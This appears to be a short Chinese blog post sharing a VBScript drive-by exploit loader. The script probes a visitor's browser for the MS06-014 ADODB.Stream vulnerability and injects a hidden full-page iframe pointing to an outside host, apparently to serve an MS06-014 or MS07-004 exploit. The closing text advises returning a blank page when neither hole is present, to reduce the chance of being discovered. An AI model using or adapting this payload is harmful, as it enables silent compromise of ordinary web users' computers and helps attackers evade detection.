<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
'msgbox "没有0614漏洞,页面转到ms07004exp!"
document.write ("<iframe src=http://1v1.name width=100% height=100% scrolling=no frameborder=0>")
else
'msgbox "存在0614漏洞,页面转到MS0614的exp!"
document.write ("<iframe src=http://1v1.name width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
这样就优先执行0614,没有没有0614漏洞再执行ms07004，还可以再接着写，如果没有ms07004，就返回空页面算了，减少被发现的机率
来源：7jgd's blog
